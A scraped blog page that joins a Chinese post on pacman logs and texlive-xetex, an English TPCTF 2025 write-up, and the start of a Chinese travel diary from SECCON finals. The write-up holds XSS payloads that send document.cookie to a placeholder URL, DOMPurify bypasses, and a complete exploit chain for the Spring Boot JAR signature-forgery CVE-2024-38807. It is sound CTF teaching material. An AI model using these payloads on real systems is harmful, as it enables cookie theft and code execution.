[2023-06-18T19:51:37+0800] [ALPM] installed texlive-music (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-plaingeneric (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-pstricks (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-publishers (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-xetex (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-meta (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] transaction completed
[2023-06-18T19:51:40+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:51:40+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:51:42+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:51:43+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:53:03+0800] [ALPM] running '73-texlive-updmap.hook'...
[2023-06-18T19:53:03+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:54:14+0800] [PACMAN] Running 'pacman -Rns texlive-meta'
[2023-06-18T19:54:15+0800] [ALPM] transaction started
[2023-06-18T19:54:15+0800] [ALPM] removed texlive-meta (2023.66594-11)
[2023-06-18T19:54:16+0800] [ALPM] removed texlive-xetex (2023.66594-11)
[2023-06-18T19:54:16+0800] [ALPM] removed texlive-publishers (2023.66594-11)
[2023-06-18T19:54:16+0800] [ALPM] removed texlive-pstricks (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-plaingeneric (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-music (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-metapost (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-luatex (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexextra (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexrecommended (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-humanities (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-games (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-formatsextra (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-fontutils (2023.66594-11)
[2023-06-18T19:54:21+0800] [ALPM] removed texlive-fontsextra (2023.66594-11)
[2023-06-18T19:54:22+0800] [ALPM] removed texlive-context (2023.66594-11)
[2023-06-18T19:54:22+0800] [ALPM] removed texlive-bibtexextra (2023.66594-11)
[2023-06-18T19:54:22+0800] [ALPM] transaction completed
[2023-06-18T19:54:24+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:54:24+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:54:24+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:54:24+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:54:46+0800] [ALPM] running '73-texlive-updmap.hook'...
[2023-06-18T19:54:46+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:55:28+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:55:28+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:55:30+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:55:30+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:55:33+0800] [PACMAN] Running 'pacman -S texlive-latexrecommended'
[2023-06-18T19:55:34+0800] [ALPM] transaction started
[2023-06-18T19:55:34+0800] [ALPM] installed texlive-latexrecommended (2023.66594-11)
[2023-06-18T19:55:34+0800] [ALPM] transaction completed
[2023-06-18T19:55:34+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:55:34+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:55:43+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:55:43+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:55:46+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:55:46+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:55:48+0800] [PACMAN] Running 'pacman -S texlive-latexextra'
[2023-06-18T19:55:49+0800] [ALPM] transaction started
[2023-06-18T19:55:50+0800] [ALPM] installed texlive-latexextra (2023.66594-11)
[2023-06-18T19:55:50+0800] [ALPM] transaction completed
[2023-06-18T19:55:50+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:55:50+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:55:50+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:55:51+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:56:31+0800] [ALPM] running '73-texlive-updmap.hook'...

总之，拆包之后，我想看看需要装什么。发现有 texlive-xetex 就装了，之后又换成 texlive-meta，感觉太 bloat 了又卸了（

之后又安装卸载过两次：

[2023-06-22T21:28:40+0800] [PACMAN] Running 'pacman -S texlive-xetex'
[2023-06-22T21:32:05+0800] [ALPM] transaction started
[2023-06-22T21:32:05+0800] [ALPM] installed texlive-xetex (2023.66594-14)
[2023-06-22T21:32:06+0800] [ALPM] transaction completed
[2023-06-22T21:32:06+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-22T21:32:06+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-22T21:32:06+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-22T21:32:06+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-22T21:34:41+0800] [PACMAN] Running 'pacman -Rns texlive-xetex'
[2023-06-22T21:34:41+0800] [ALPM] transaction started
[2023-06-22T21:34:41+0800] [ALPM] removed texlive-xetex (2023.66594-14)
[2023-06-22T21:34:42+0800] [ALPM] transaction completed
[2023-06-22T21:34:42+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-22T21:34:42+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-22T21:34:42+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-22T21:34:42+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).

[2023-06-22T21:28:40+0800] [PACMAN] Running 'pacman -S texlive-xetex'
[2023-06-22T21:32:05+0800] [ALPM] transaction started
[2023-06-22T21:32:05+0800] [ALPM] installed texlive-xetex (2023.66594-14)
[2023-06-22T21:32:06+0800] [ALPM] transaction completed
[2023-06-22T21:32:06+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-22T21:32:06+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-22T21:32:06+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-22T21:32:06+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-22T21:34:41+0800] [PACMAN] Running 'pacman -Rns texlive-xetex'
[2023-06-22T21:34:41+0800] [ALPM] transaction started
[2023-06-22T21:34:41+0800] [ALPM] removed texlive-xetex (2023.66594-14)
[2023-06-22T21:34:42+0800] [ALPM] transaction completed
[2023-06-22T21:34:42+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-22T21:34:42+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-22T21:34:42+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-22T21:34:42+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).

[2024-03-28T20:11:14+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2024-03-28T20:11:14+0800] [PACMAN] synchronizing package lists
[2024-03-28T20:11:27+0800] [PACMAN] Running 'pacman --color=always -Su'
[2024-03-28T20:11:27+0800] [PACMAN] starting full system upgrade
[2024-03-28T20:11:32+0800] [PACMAN] Running 'pacman -S texlive-xetex'
[2024-03-28T20:13:11+0800] [ALPM] transaction started
[2024-03-28T20:13:11+0800] [ALPM] installed texlive-xetex (2024.0-3)
[2024-03-28T20:13:11+0800] [ALPM] transaction completed
[2024-03-28T20:13:11+0800] [ALPM] running '30-systemd-update.hook'...
[2024-03-28T20:13:11+0800] [ALPM] running '70-mktexlsr.hook'...
[2024-03-28T20:13:13+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2024-03-28T20:13:13+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2024-03-29T00:30:55+0800] [PACMAN] Running 'pacman -Rns texlive-xetex'
[2024-03-29T00:30:55+0800] [ALPM] transaction started
[2024-03-29T00:30:56+0800] [ALPM] removed texlive-xetex (2024.0-3)
[2024-03-29T00:30:57+0800] [ALPM] transaction completed
[2024-03-29T00:30:57+0800] [ALPM] running '30-systemd-update.hook'...
[2024-03-29T00:30:57+0800] [ALPM] running '70-mktexlsr.hook'...
[2024-03-29T00:30:59+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2024-03-29T00:31:00+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).

[2024-03-28T20:11:14+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2024-03-28T20:11:14+0800] [PACMAN] synchronizing package lists
[2024-03-28T20:11:27+0800] [PACMAN] Running 'pacman --color=always -Su'
[2024-03-28T20:11:27+0800] [PACMAN] starting full system upgrade
[2024-03-28T20:11:32+0800] [PACMAN] Running 'pacman -S texlive-xetex'
[2024-03-28T20:13:11+0800] [ALPM] transaction started
[2024-03-28T20:13:11+0800] [ALPM] installed texlive-xetex (2024.0-3)
[2024-03-28T20:13:11+0800] [ALPM] transaction completed
[2024-03-28T20:13:11+0800] [ALPM] running '30-systemd-update.hook'...
[2024-03-28T20:13:11+0800] [ALPM] running '70-mktexlsr.hook'...
[2024-03-28T20:13:13+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2024-03-28T20:13:13+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2024-03-29T00:30:55+0800] [PACMAN] Running 'pacman -Rns texlive-xetex'
[2024-03-29T00:30:55+0800] [ALPM] transaction started
[2024-03-29T00:30:56+0800] [ALPM] removed texlive-xetex (2024.0-3)
[2024-03-29T00:30:57+0800] [ALPM] transaction completed
[2024-03-29T00:30:57+0800] [ALPM] running '30-systemd-update.hook'...
[2024-03-29T00:30:57+0800] [ALPM] running '70-mktexlsr.hook'...
[2024-03-29T00:30:59+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2024-03-29T00:31:00+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).

我印象中我曾经意外发现 /usr/bin/xetex 是 texlive-bin 里的，而 texlive-xetex 里是 /usr/bin/xetex-unsafe 和一些其他东西，而且 texlive-xetex 卸载掉之后当时还能正常使用，于是就卸掉了（

而在 texlive-source/texk/web2c/xetexdir/NEWS 中可以看到 XeTeX 的版本历史：

XeTeX 0.999997 (7 March 2025)

XeTeX 0.999996 (February 2024)

XeTeX 0.999995 (February 2023)

于是我正好在 0.999996 发布的时候重新安装了一次 XeTeX，不知道是巧合还是当时也遇到了类似的问题，不记得了。

pacman -Qo /var/lib/texmf/web2c 可以发现，这个目录（以及里面的文件）并不属于任何包，实际上是由 72-texlive-fmtutil.hook 生成的。安装了 texlive-xetex 后就会生成出 /var/lib/texmf/web2c/xetex/xetex.fmt 等文件，然后即使卸载掉也可以使用 xetex，但不会更新，等到需要更新就挂了。

所以不要随便 unbloat（就像 BLAFS 那样（

最后让我们再来欣赏一下这个版本号（

3.141592653-2.6-0.999997

TPCTF 2025 Official Write-Up (6 challenges)

Tue, 11 Mar 2025 05:32:30 GMT

TPCTF 2025 official write-up for my challenges: baby/safe layout (revenge), Are you incognito, encrypted chat, and verified toolbox.

Official repository with write-up and source code

This is my first time to write challenges in a public CTF. Feel free to leave a comment or add a reaction below if you have unintended solutions / suggestions / anything to say.

baby layout (81 solves)

One solution is to put {{content}} inside an attribute and to close the quote in the inner payload:

src="{{content}}">

<img src="{{content}}">

" onerror="fetch('{YOUR_URL}'+document.cookie)

" onerror="fetch('{YOUR_URL}'+document.cookie)

An alternative solution is to close a <textarea>, like Bad usage | Not enough context | Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re:

</span><span style="color: #403F53">{{content}}</span><span style="color: #994CC3">

<textarea>{{content}}textarea>

id="">

<div id="</textarea><img src=x onerror=fetch('{YOUR_URL}'+document.cookie)>">div>

safe layout (50 solves)

I made a mistake not banning data and aria attributes (ALLOW_DATA_ATTR and ALLOW_ARIA_ATTR)¹, so it can be solved in the same way as the baby version by using data-x or aria-x instead of other attributes like src.

safe layout revenge (29 solves)

Tips: You can use Dom-Explorer to see DOMPurify output. It’s a great tool for playing with mXSS and sanitizers.

We need to get a malicious tag without using attributes. Normally, malicious tags will be either removed or escaped, but we can get unescaped angle brackets in <style>. DOMPurify is very strict and any HTML tags in <style> will be filtered. However, the regular expression only checks for /<[/\w]/, so <{{content}} will not be filtered and can be used to get malicious tags.

Here the inner payload is used twice, first to close the <style> tag and then to create the <img> tag:

a<style>{{content}}<{{content}}style>

img src onerror=fetch(`{YOUR_URL}/`+document.cookie)

img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style>style>

Another solution is similar but uses an empty {{content}}, like CVE-2023-48219¹.

Are you incognito? (3 solves)

Notice that the bot runs Chromium but the extension uses browser instead of chrome to access the extension API. It uses webextension-polyfill to provide the API under browser. We can pass the check if we modify the browser object. We cannot directly create JavaScript variables since the web page and the content script run JavaScript separately, but we can use DOM clobbering to do so.

We need browser.runtime.id to pass the check in webextension-polyfill and then browser.extension.inIncognitoContext to pass the check in the challenge:

id="browser" name="runtime">
id="browser" name="extension">
  name="inIncognitoContext">

<form id="browser" name="runtime">form>
<form id="browser" name="extension">
  <input name="inIncognitoContext">
form>

An alternative solution is found by USTC-NEBULA, that is to create a global variable exports instead of browser.runtime.id to pass the check in babel-transform-to-umd-module.js.

Some sites such as webhook.site use path instead of subdomain for each user and are thus unable to record the /flag request. You can use requestrepo.com or your own server.

This appears to be a 0-day vulnerability², but I couldn’t find a practical way to exploit it in real-world extensions. I suspect it may at most disrupt the normal execution of content scripts without posing significant security risks or providing strong attack incentives. Anyhow, I will report this to the upstream after the competition. It’s at least a bug if not a vulnerability.

P.S. A similar bug was once discovered and fixed in #153 but later introduced again in #582.

encrypted chat (15 solves)

All senders share the same key stream, so race condition will happen if two participants send messages at the same time, before receiving the message sent from the other side, and then the key stream will be reused.

So we need to locate the parts where the key is reused and then decrypt them. Since the messages are in ASCII, we can use the highest bit in each byte to find reused key. The remaining of this challenge is this assignment in CS255.

A simple approach is to XOR the messages and notice that XORing a letter with a space is to toggle its casing. So a character is likely to be a space if its XORs with others are letters. Then manually fix the broken words.

Another approach is to use some language model (e.g. GPT, a small one is enough) to calculate the probability of the next character (use the internal results, not to ask an AI assistant) and apply the Viterbi algorithm. Reference: A Natural Language Approach to Automated Cryptanalysis of Two-time Pads. This approach is more accurate but too expensive to implement during a CTF.³

Or you can use the known plaintext TPCTF{ as a starting point.

Here’s my script with an interactive solver to fix the broken words:

import json
from base64 import b64decode, b64encode
from string import ascii_letters

def solve(ciphertexts: list[bytes]):
    n = len(ciphertexts)
    m = len(ciphertexts[0])
    key = bytearray(m)
    for i in range(m):
        count = [0] * n
        for j, x in enumerate(ciphertexts):
            for k, y in enumerate(ciphertexts[:j]):
                if chr(x[i] ^ y[i]) in ascii_letters:
                    count[j] += 1
                    count[k] += 1
        key[i] = 32 ^ ciphertexts[count.index(max(count))][i]
    plaintexts = []
    for ciphertext in ciphertexts:
        plaintext = bytes(c ^ k for c, k in zip(ciphertext, key))
        plaintexts.append(b64encode(plaintext).decode())
    print(json.dumps(plaintexts))

with open('messages.txt') as f:
    stream = b64decode(f.read())

n = len(stream)
high_bits = bytes([b >> 7 for b in stream])

i = 0
while i < n:
    if high_bits.count(high_bits[i:i+50], i) < 5:
        i += 1
        continue
    l = i + 10
    r = i + 40
    k = high_bits.count(high_bits[l:r], i)
    while high_bits.count(high_bits[l-1:r], i) == k:
        l -= 1
    while high_bits.count(high_bits[l:r+1], i) == k:
        r += 1
    pattern = high_bits[l:r]
    ciphertexts = []
    while (p := high_bits.find(pattern, i)) != -1:
        ciphertexts.append(stream[p:p+len(pattern)])
        i = p + len(pattern)
    solve(ciphertexts)

import json
from base64 import b64decode, b64encode
from string import ascii_letters

def solve(ciphertexts: list[bytes]):
    n = len(ciphertexts)
    m = len(ciphertexts[0])
    key = bytearray(m)
    for i in range(m):
        count = [0] * n
        for j, x in enumerate(ciphertexts):
            for k, y in enumerate(ciphertexts[:j]):
                if chr(x[i] ^ y[i]) in ascii_letters:
                    count[j] += 1
                    count[k] += 1
        key[i] = 32 ^ ciphertexts[count.index(max(count))][i]
    plaintexts = []
    for ciphertext in ciphertexts:
        plaintext = bytes(c ^ k for c, k in zip(ciphertext, key))
        plaintexts.append(b64encode(plaintext).decode())
    print(json.dumps(plaintexts))

with open('messages.txt') as f:
    stream = b64decode(f.read())

n = len(stream)
high_bits = bytes([b >> 7 for b in stream])

i = 0
while i < n:
    if high_bits.count(high_bits[i:i+50], i) < 5:
        i += 1
        continue
    l = i + 10
    r = i + 40
    k = high_bits.count(high_bits[l:r], i)
    while high_bits.count(high_bits[l-1:r], i) == k:
        l -= 1
    while high_bits.count(high_bits[l:r+1], i) == k:
        r += 1
    pattern = high_bits[l:r]
    ciphertexts = []
    while (p := high_bits.find(pattern, i)) != -1:
        ciphertexts.append(stream[p:p+len(pattern)])
        i = p + len(pattern)
    solve(ciphertexts)

html>




  charset="utf-8">
  </span><span style="color: #403F53">Encrypted Chat Solver</span><span style="color: #994CC3">
  



  id="app">
    Input: v-model="input">
    style="font-family: monospace; font-size: 1rem; white-space: pre;">
      v-for="(plaintext, i) of plaintexts" :key="i" style="margin-top: 1rem; display: flex; gap: 1px;">
        v-for="(c, p) in plaintext" :key="p" @click="changeKey(i, p, c)" style="padding: 1px; cursor: pointer;">
          v-if="isAsciiPrintable(c)">{{ c }}
          v-else style="color: red;">?

DOCTYPE html>

<html>

<head>
  <meta charset="utf-8">
  <title>Encrypted Chat Solvertitle>
  <script src="https://unpkg.com/vue@3/dist/vue.global.prod.js">script>
head>

<body>
  <div id="app">
    <label>Input: <input v-model="input">label>
    <div style="font-family: monospace; font-size: 1rem; white-space: pre;">
      <div v-for="(plaintext, i) of plaintexts" :key="i" style="margin-top: 1rem; display: flex; gap: 1px;">
        <div v-for="(c, p) in plaintext" :key="p" @click="changeKey(i, p, c)" style="padding: 1px; cursor: pointer;">
          <span v-if="isAsciiPrintable(c)">{{ c }}span>
          <span v-else style="color: red;">?span>
        div>
      div>
    div>
  div>

  <script>
    const {createApp, ref, computed, watch} = Vue;

    createApp({
      setup() {
        const input = ref('');

        const bases = computed(() => {
          try {
            return JSON.parse(input.value).map((b64) => Array.from(atob(b64)));
          } catch {
            return [];
          }
        });

        const key = ref([]);
        watch(bases, (stream) => {
          key.value = new Array(bases[0]?.length).fill(0);
        });

        const plaintexts = computed(() =>
          bases.value.map((base) => {
            return base.map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ key.value[i]));
          })
        );

        function isAsciiPrintable(c) {
          return c.charCodeAt(0) >= 32 && c.charCodeAt(0) <= 126;
        }

        function changeKey(i, p, oldChar) {
          const newChar = prompt(`Change '${oldChar}' to:`, oldChar)?.[0];
          if (!newChar) return;
          key.value[p] ^= plaintexts.value[i][p].charCodeAt(0) ^ newChar.charCodeAt(0);
        }

        return {
          input,
          plaintexts,
          isAsciiPrintable,
          changeKey,
        }
      },
    }).mount('#app');
  script>
body>

html>

verified toolbox (1 solve)

It uses Spring Boot 3.3.2, so it’s CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot’s Loader⁴.

The vulnerability is that spring-boot-loader uses JarInputStream to verify the signatures but uses a custom ZipContent class to load the contents. They parse a ZIP file differently and may read different contents from a specially crafted JAR file. JarInputStream reads a JAR file from start to end, while ZipContent read the end of central directory record at the end first. We can construct a malicious JAR file by concatenating the bytes of two JAR files, and then adjust the offset fields in the central directory headers and the end of central directory record of the second JAR file. The signature verifier will read the first JAR file while the content loader will read the second.

You can also find the commit that fixes this vulnerability along with the mismatched.jar test case, and then create the malicious JAR file based on mismatched.jar.

#!/bin/bash

set -euo pipefail

url="$1"

javac Tool.java

jar cf exp.jar Tool.class

rm -f keystore.jks

keytool -genkeypair \
    -alias exp \
    -dname 'CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown' \
    -keyalg DSA \
    -keysize 2048 \
    -validity 1 \
    -keystore keystore.jks \
    -storepass 133337

jarsigner -keystore keystore.jks -storepass 133337 exp.jar exp

curl -O "$url/toolbox/greeting.jar"
jar xf greeting.jar

python exp.py

jar cf0 nested.jar inner.jar

curl -F file=@nested.jar -F path=inner.jar -F input='/readflag give me the flag' "$url"/run

#!/bin/bash

set -euo pipefail

url="$1"

javac Tool.java

jar cf exp.jar Tool.class

rm -f keystore.jks

keytool -genkeypair \
    -alias exp \
    -dname 'CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown' \
    -keyalg DSA \
    -keysize 2048 \
    -validity 1 \
    -keystore keystore.jks \
    -storepass 133337

jarsigner -keystore keystore.jks -storepass 133337 exp.jar exp

curl -O "$url/toolbox/greeting.jar"
jar xf greeting.jar

python exp.py

jar cf0 nested.jar inner.jar

curl -F file=@nested.jar -F path=inner.jar -F input='/readflag give me the flag' "$url"/run

with open('hello.jar', 'rb') as f:
    signed = f.read()

with open('exp.jar', 'rb') as f:
    exp = f.read()

shift = len(signed)
exp_list = list(exp)

eocd_start = exp.rfind(b'PK\x05\x06')
cd_offset = int.from_bytes(exp[eocd_start+16:eocd_start+20], 'little')
new_cd_offset = (cd_offset + shift).to_bytes(4, 'little')
exp_list[eocd_start+16:eocd_start+20] = new_cd_offset

cd_start = cd_offset
pos = cd_start
while pos < eocd_start:
    if exp[pos:pos+4] == b'PK\x01\x02':
        lfh_offset = int.from_bytes(exp[pos+42:pos+46], 'little')
        new_lfh_offset = (lfh_offset + shift).to_bytes(4, 'little')
        exp_list[pos+42:pos+46] = new_lfh_offset
        pos += 46
    else:
        pos += 1

modified_exp = bytes(exp_list)
with open('inner.jar', 'wb') as f:
    f.write(signed)
    f.write(modified_exp)

with open('hello.jar', 'rb') as f:
    signed = f.read()

with open('exp.jar', 'rb') as f:
    exp = f.read()

shift = len(signed)
exp_list = list(exp)

eocd_start = exp.rfind(b'PK\x05\x06')
cd_offset = int.from_bytes(exp[eocd_start+16:eocd_start+20], 'little')
new_cd_offset = (cd_offset + shift).to_bytes(4, 'little')
exp_list[eocd_start+16:eocd_start+20] = new_cd_offset

cd_start = cd_offset
pos = cd_start
while pos < eocd_start:
    if exp[pos:pos+4] == b'PK\x01\x02':
        lfh_offset = int.from_bytes(exp[pos+42:pos+46], 'little')
        new_lfh_offset = (lfh_offset + shift).to_bytes(4, 'little')
        exp_list[pos+42:pos+46] = new_lfh_offset
        pos += 46
    else:
        pos += 1

modified_exp = bytes(exp_list)
with open('inner.jar', 'wb') as f:
    f.write(signed)
    f.write(modified_exp)

import java.io.ByteArrayOutputStream;

public class Tool {
    public static String run(String cmd) {
        try {
            ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", cmd);
            Process process = processBuilder.start();

            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            bos.write(String.format("\n$ %s\n", cmd).getBytes());

            process.getInputStream().transferTo(bos);
            process.getErrorStream().transferTo(bos);

            return bos.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

import java.io.ByteArrayOutputStream;

public class Tool {
    public static String run(String cmd) {
        try {
            ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", cmd);
            Process process = processBuilder.start();

            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            bos.write(String.format("\n$ %s\n", cmd).getBytes());

            process.getInputStream().transferTo(bos);
            process.getErrorStream().transferTo(bos);

            return bos.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

I created this challenge before this blog post was published. I did notice it before the event, but apparently I did not read it very carefully :( ↩ ↩²
The original version of this challenge was a line const api = globalThis.browser || globalThis.chrome instead of the library, but I thought it was too obvious and then found that webextension-polyfill was also vulnerable. ↩
I have actually implemented something similar before. It was able to decrypt MTP for various file types besides natural language. Specifically, it was used to decrypt the Conti ransomware. ↩
This CVE is found by me. ↩

SECCON CTF 13 Finals 游记

Tue, 04 Mar 2025 13:37:49 GMT

~~能不能润日住在月岛（不是~~

（107 图预警，webp 总大小 97MB。）

（文中所有拍摄于日本的照片都可以从 GitHub 上下载带 GPS 信息（exiftool -all= --gps:all -ext jpg .）的原图。）

Day 0

出发

离上次坐飞机已经五年半了，这次还是国际，本来还有点担心会不会不熟地方，但实际上非常顺利，除了一开始没带行李箱还排了 10min 托运的队然后被提醒直接找值班经理打印登机牌就行，后面半小时就到登机口了，过海关中国护照走快捷通道只用刷一下护照录个指纹，所以不托运的话最极限 70min 到就够了（

航旅纵横的舱位图显示 18 排起是机翼，选的 16 排，身边的窗外是引擎，还是挡到了一点，靠前的那个窗户基本没挡到，但不仅不方便看而且还有很明显的划痕。可惜没看到富士山，好像是没注意观察航线，开始注意窗外的时候可能已经过了，也可能是被云挡住了（？，但是上午走的大家拍到了；反正我是来看月岛的不是来看山的（

听说国航有机上 Wi-Fi，提供各种功能服务，我还以为有互联网，结果真的是只提供这些服务，只有部分机型（A350）提供互联网。

到了之后先去买了 Welcome Suica，只能选整千还不能退款，本来觉得 2000 应该差不多了，但是一害怕不够用就选了 3000（；但之后才知道酒店早餐收费，要去便利店买早餐，也能用一点。

然后找了半天接水的地方，这里差不多每个厕所都有直饮水，但接水的地方很少。找到之后看到它有个外盖，感觉很迷惑，轻轻拉了一下，拉不开，差点想去问 staff 了，在小红书确认了一下，这是正常的，打开就行，然后再稍微用了一点点力拉，开了，是磁吸的（

因为懒直接买的移动的漫游套餐，连上漫游后先试了下 google.com 可以访问，还以为真的出国了，结果 YouTube、X、Telegram 什么的都不行，只能在 4G 下双倍延迟，大概是不如流量卡；在机场看到 Google Maps 加载不出来，以为也是漫游的问题，直到几个小时后才发现，Google 的各种服务似乎都可以直连，而之前没加载出来是因为 GPS 信号差，没加载出起点的“您的位置”（

好不容易加载出 Google Maps，就见识到了东京轨道交通的神秘，入口处写的品川·东银座·浅草·横滨方向，我需要坐的是成田机场方向，还以为走错了，怀疑了一下人生之后决定先到站台再说，结果发现没走错（。没坐错真是太好了，但还是 6 点才到月岛，已经完全日落了（

月岛（夜）

部分参考资料：

本来想直接去もんじゃ太郎，结果看到里面其乐融融一起吃饭的大家，压力太大了，就想晚点人少了再去，先去巡礼（

MOS & CAFE，112 话零和三姐妹一起睡觉起来后就是去的这里吃，而第 12 话遇到高桥那家是麦当劳，这是两个不同的地方（之前在一些游记看到说误以为自己搞错了原型）。

儿童乐园：

一开始在商店街还没啥感觉，走到河畔，看到河面、步道和中央大桥，一下子非常感动。

（较近的那个是佃大桥，后面是中央大桥的桥塔。）

住吉水门：

三日月堂的原型，天安：

从天安门口沿河岸走 100m 就到了鸟居：

旁边这个眼熟的建筑其实（下面）是厕所（

佃公园：

住吉神社。后来才想起来忘记进去看一眼绘马了，可惜，大概是第一次来神社还有点过度地敬畏，不敢随便进去看（，之后又去了几个神社就习惯了。而且我印象中 3 狮里这个神社似乎没什么剧情（？，起码比将棋会馆旁边的鸠森八幡神社以及 μ's、Liella! 的神社少出现很多，但忘记了起码可以看一下绘马有没有 3 狮。

佃小桥：

逛了半天回来一看，店里人也没有变少，只能去吃了。进去之后才意识到，比起人少，其实更需要的是一个靠窗的桌，我最后进去的时候只有靠墙的桌了，而墙上有插画和签名！不知道为什么在外面看里面有多少人的时候没注意，本来可以看着吃的（；店里人多也不方便拍照，最后也实在是不敢拍，反正这个网上也有照片，我自己也亲眼看到了就完事了（。高桥、日向和零吃的鲑もんじゃ和明太もちチーズもんじゃ，而我要吃肉，就鲑了。之前在小红书上看到很多避雷文字烧的，还有点担心，但我觉得味道还可以，外观和小红书相比也没那么呕吐物（，唯一的问题是，这个小铲从一整块里铲一口还好，把单独的一小块铲起来就有点难了（。另外，在我之后还来了一个一个人吃的男生，感动（

吃完文字烧之后，沿河岸一直走到了月岛的北端。东侧的河岸是一些石滩，我印象中（）是没有出现过这边的场景，就没拍。

マルエツ超市，下了中央大桥后就能望到它的绿色：

一路上我都并不抱期待地希望能看到什么 3 狮元素，除了もんじゃ太郎也没看到别的，结果在中央大桥脚下有个意外收获（这边是一家 Natural Lawson，不知道为啥出现在这）：

中央大桥的近景：

灵岸岛水位观测所：

零去将棋会馆时前往车站经过的高桥：

Day 1

月岛（昼）

半夜醒了一次，突然觉得早上应该去月岛走走，而且后面两天可能也没机会再去了，尤其是白天去，于是把闹钟调早了（

早上很匆忙地走了一趟，连中央大桥的远景都忘记拍了（

